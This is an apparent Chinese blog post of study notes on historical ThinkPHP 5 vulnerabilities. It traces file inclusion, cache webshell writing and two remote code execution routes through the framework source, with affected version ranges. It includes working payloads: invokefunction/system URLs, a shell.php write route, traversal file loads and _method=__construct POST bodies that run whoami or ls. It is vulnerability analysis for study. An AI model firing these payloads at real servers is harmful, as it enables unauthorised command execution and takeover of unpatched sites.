跟一下Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合,记点笔记
tp5_LFI
本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
复现:
application\index\controller\Index.php
:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
|
get获取的数组直接传入assign
作为参数:
下断点可以看到此时$name
数组的值
跟进assign
函数到thinkphp\library\think\View.php
中View
类的assign($name, $value = '')
函数
然后使用array_merge
函数将cacheFile: "aaa.jpg"
合并入$this->data
然后程序开始调用 fetch
方法加载模板输出,跟进到thinkphp\library\think\View.php
的fetch
函数,因为$renderContent = false
,所以$method='fetch'
于是$this->engine->$method
去调用模板引擎的fetch
函数
单步调试到thinkphp\library\think\view\driver\Think.php
的fetch
函数
可以看到如果模板存在,则继续调用$this->template->fetch
,跟进到thinkphp\library\think\Template.php
的fetch
函数:
然后将$vars
赋值给$this->data
,快速看看一下引用看到:
这里的$cacheFile
为:
因为看到调用了$this->storage->read
,所以在此处下个断点,继续单步调试跟进一下
最后$vars
传入了thinkphp\library\think\template\driver\File.php
中File
类的read
函数,这里存在extract
变量覆盖,可以看到$cacheFile
的值已经覆盖为了用户get传入的aaa.jpg
,随后进行了include
文件包含,造成了LFI
tp5_RCE
本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10
复现:
application\index\controller\Index.php
:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
|
首先看到input
函数,使用get
传参,键名为username
:
然后看到Cache::set
方法用于写入缓存,跟进后看到使用init
方法实例化一个类,由Config
类的get
方法获取缓存的配置信息,然后调用connect
方法去连接缓存:
因为缓存默认配置$options['type']
为File
,所以connect
方法实际上是去实例化\think\cache\driver\File
类,所以init
方法中的self::$handler
即为\think\cache\driver\File
类实例,这样缓存将作为文件存储在runtime\cache\
路径下,为写shell创造条件
所以回到thinkphp\library\think\Cache.php
中的set
方法,self::init()->set($name, $value, $expire)
即为调用\think\cache\driver\File
类的set
方法
在return self::init()->set($name, $value, $expire);
处下断点,单步调试跟进后跳到thinkphp\library\think\cache\driver\File.php
的set
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
|
可以看到缓存文件名由getCacheKey($name)
获得,跟进后看到,缓存目录和文件名为$name
也就是缓存类设置的键名的32位md5值,目录为前两位,剩余30位.php为缓存文件名:
这里因为之前设置的键名为name
,所以路径为:runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php
回到set
方法,我们传入的$data
没有经过其他处理,$this->options['data_compress']
默认为false
,所以也不会经过gzcompress
的处理,然后经过拼接php头尾就调用file_put_contents
写入缓存文件,所以这里经过CRLF注入可以绕过拼接的注释符
但是这个洞的利用需要配合LFI
使用,因为runtime
目录与public
同级,一般是访问不到的,并且需要知道$this->options['prefix']
和缓存设置的键名,才能算出缓存文件名和目录,比较局限
tp5_RCE_get
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
payload:
5.1.x :
1
2
3
4
5
|
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
5.0.x :
1
2
3
4
|
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
复现:
在没有开启强制路由、对控制器没有过滤的情况下,可以调用任意控制器和方法进行getshell
在thinkphp\library\think\route\dispatch\Module.php
70行$controller
处下断点,获取控制器名、获取操作名后转到thinkphp\library\think\App.php
中App
类的run
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
<?php
/**
* 执行应用程序
* @access public
* @return Response
* @throws Exception
*/
public function run()
{
try {
// 初始化应用
$this->initialize();
// 监听app_init
$this->hook->listen('app_init');
if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
}
// 监听app_dispatch
$this->hook->listen('app_dispatch');
$dispatch = $this->dispatch;
if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
// 监听app_begin
$this->hook->listen('app_begin');
// 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
);
$data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
}
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});
$response = $this->middleware->dispatch($this->request);
// 监听app_end
$this->hook->listen('app_end', $response);
return $response;
}
|
然后调用thinkphp\library\think\route\Dispatch.php
中Dispatch
类的run
方法
跟进后到执行$data = $this->exec();
跳回到thinkphp\library\think\route\dispatch\Module.php
中Module
类的exec
方法,可以看到最后调用了invokeReflectMethod
反射类调用的方法
进一步跟进,可以看到利用反射类调用Request
类的input
方法
跳到thinkphp\library\think\Request.php
中Request
类的filterValue
方法,这里存在可控的call_user_func($filter, $value);
最终达成rce,可见此漏洞成因为类、方法任意可控且未对控制器进行过滤
tp5_RCE_post
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
payload:
1
2
3
4
5
6
7
8
9
10
11
12
|
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
|
复现:
composer安装的tp5.0.23不带captcha模块
自己装一下captcha:
1
2
|
composer require topthink/think-captcha 1.*
# tp5.0的版本是使用1.*,tp5.1的版本是使用2.*
|
然后在application\config.php
中添加:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//验证码配置
'captcha' => [
//验证码的字符集
'codeSet' => '23456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
//设置验证码大小
'fontSize' => 18,
//添加混淆曲线
'useCurve' => false,
//设置图片的高度、宽度
'imageW' => 150,
'imageH' => 35,
//验证码位数
'length' =>4,
//验证成功后重置
'reset' =>true
],
|
即可
这里s
只需要赋值为一个存在的method
路由即可
在tp5.0.24修复了这个漏洞,可以参考https://github.com/top-think/framework/compare/v5.0.23...v5.0.24
主要修改了Request
类的method
方法
看到thinkphp\library\think\Request.php
中Request
类的method
方法,Config::get('var_method')
中的var_method
是表单请求类型伪装变量,可在application/config.php
中看到其值为_method
:
所以可通过指定_method
来调用该类下的任意函数,这里将Request
类下的$method
的值覆盖为__construct
了,于是去调用Request
类的__construct
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
|
可以看到构造函数中用foreach
遍历$POST
提交的数据,接着使用property_exists()
检测当前类是否具有该属性,如果存在则赋值,这里存在变量覆盖,且参数用户可控
Request 类的所有属性如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
|
filter[]=system&method=get&get[]=whoami
作用就是把当前Request
类下的$filter
覆盖为system
,$method
覆盖为get
,$get
覆盖为whoami
:
随后会对$method
进行检查,在thinkphp\library\think\Route.php
的check
函数,在这里$rules
的定义为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
private static $rules = [
'GET' => [],
'POST' => [],
'PUT' => [],
'DELETE' => [],
'PATCH' => [],
'HEAD' => [],
'OPTIONS' => [],
'*' => [],
'alias' => [],
'domain' => [],
'pattern' => [],
'name' => [],
];
|
在tp5.0.8
之前,如果前面不覆盖$method
的值为get
,那么这里就会变为:self::$rules['__construct']
,就会直接报错
tp5.0.8
之前:
1
|
$rules = self::$rules[$method];
|
tp5.0.8
之后:
所以tp5.0.8
到tp5.0.12
的payload都可以为:
1
2
3
|
POST /
_method=__construct&filter=system&get[]=whoami
_method=__construct&filter=system&leon=whoami
|
在tp5.0.13
及以后版本中,thinkphp/library/think/App.php
中的module()
多了一行过滤:
1
2
|
// 设置默认过滤机制
$request->filter($config['default_filter']);
|
这也是为什么上面的exp只适用与tp5.0.8
到tp5.0.12
的原因,我们直接对public/index.php
访问默认调用的模块名/控制器名/操作名是/index/index/index
,默认对应的$dispatch['type']
为module
,跟进到后面会进入thinkphp\library\think\App.php
的exec
方法,这里有switch ($dispatch['type'])
选择调用对应的方法:
继续跟进,进入到module()
,关键在self::invokeMethod($call, $vars);
,跟进到invokeMethod
方法后继续调用了self::bindParams($reflect, $vars);
继续跟进到Request
类的param
方法,用于获取当前请求的参数,可以看到又调用了method()
获取当前请求方法
继续跟进,获取参数后会调用array_merge($this->get(false), $vars, $this->route(false));
对get[]
,route[]
,$_POST
获取的参数进行合并,那么可以变量覆盖传参,也可以直接POST
传参
所以_method=__construct&filter=system&leon=whoami
也可以
然后调用input
方法,之前的分析已经知道该方法会调用filterValue
的回调函数进行命令执行了
这是tp5.0.12
以及之前版本的分析
到了tp5.0.13
以后,前面说了module
方法中添加了过滤$request->filter($config['default_filter']);
再次将$filter
覆盖掉,链子就断掉了
所以要想办法绕过module
方法,在调试中发现:
如果开启了debug
模式,在执行thinkphp\library\think\App.php
中的run
方法时,会去调用$request->param()
,这样就又回到了input
方法进而达成RCE,这里在$filter
被二次覆盖之前调用了一次param()
,这也是有些时侯有两个命令执行的回显的原因
如果没开启debug
模式呢?执行module
函数是根据$dispatch
的类型来决定的,在完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php
中:
1
|
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
|
对应的$dispatch['type']
为method
,路由限定了请求类型为get
:
这里进入了case 'method'
1
2
3
4
|
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
|
然后又调用了Request::instance()->param()
,进而调用了filterValue
的call_user_func
达成RCE
tp5.0.21
开始,Request
类的method
方法有改动:
tp5.0.21
前:
1
2
3
4
5
6
7
8
9
10
|
<?php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
...
return $this->method;
}
|
tp5.0.21
后:
1
2
3
4
5
6
7
8
9
10
|
<?php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
...
return $this->method;
}
|
可以看到tp5.0.21
之后通过server()
函数获取请求方法,并且其中调用了input()
函数,所以只要能进入server()
函数也可以造成代码执行:
1
2
3
|
POST /?s=captcha HTTP/1.1
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
|
现在method()
的逻辑变了,如果不传递server[REQUEST_METHOD]
,返回的就是GET
,参数的来源有$param[]、$get[]、$route[]
,还是可以通过变量覆盖来传递参数,但是就不能用之前形如leon=whoami
任意参数名来传递了
在route()
函数里param[]
又被二次覆盖了,所以还剩下get[]
和route[]
小结
tp5.0.0
到tp5.0.12
:
1
2
3
4
|
POST / HTTP/1.1
_method=__construct&filter=system&method=GET&leon=whoami
#leon可以替换成get[]、route[]等
|
tp5.0.13
到tp5.0.23
:有第三方类库如captcha
1
2
3
4
5
|
POST /?s=captcha HTTP/1.1
_method=__construct&filter=system&method=get&get[]=whoami
get[]可以换成route[]
|
tp5.0.13
到tp5.0.23
:开启了debug
模式
1
2
3
4
5
|
POST / HTTP/1.1
_method=__construct&filter=system&get[]=whoami
get[]可以替换成route[]
|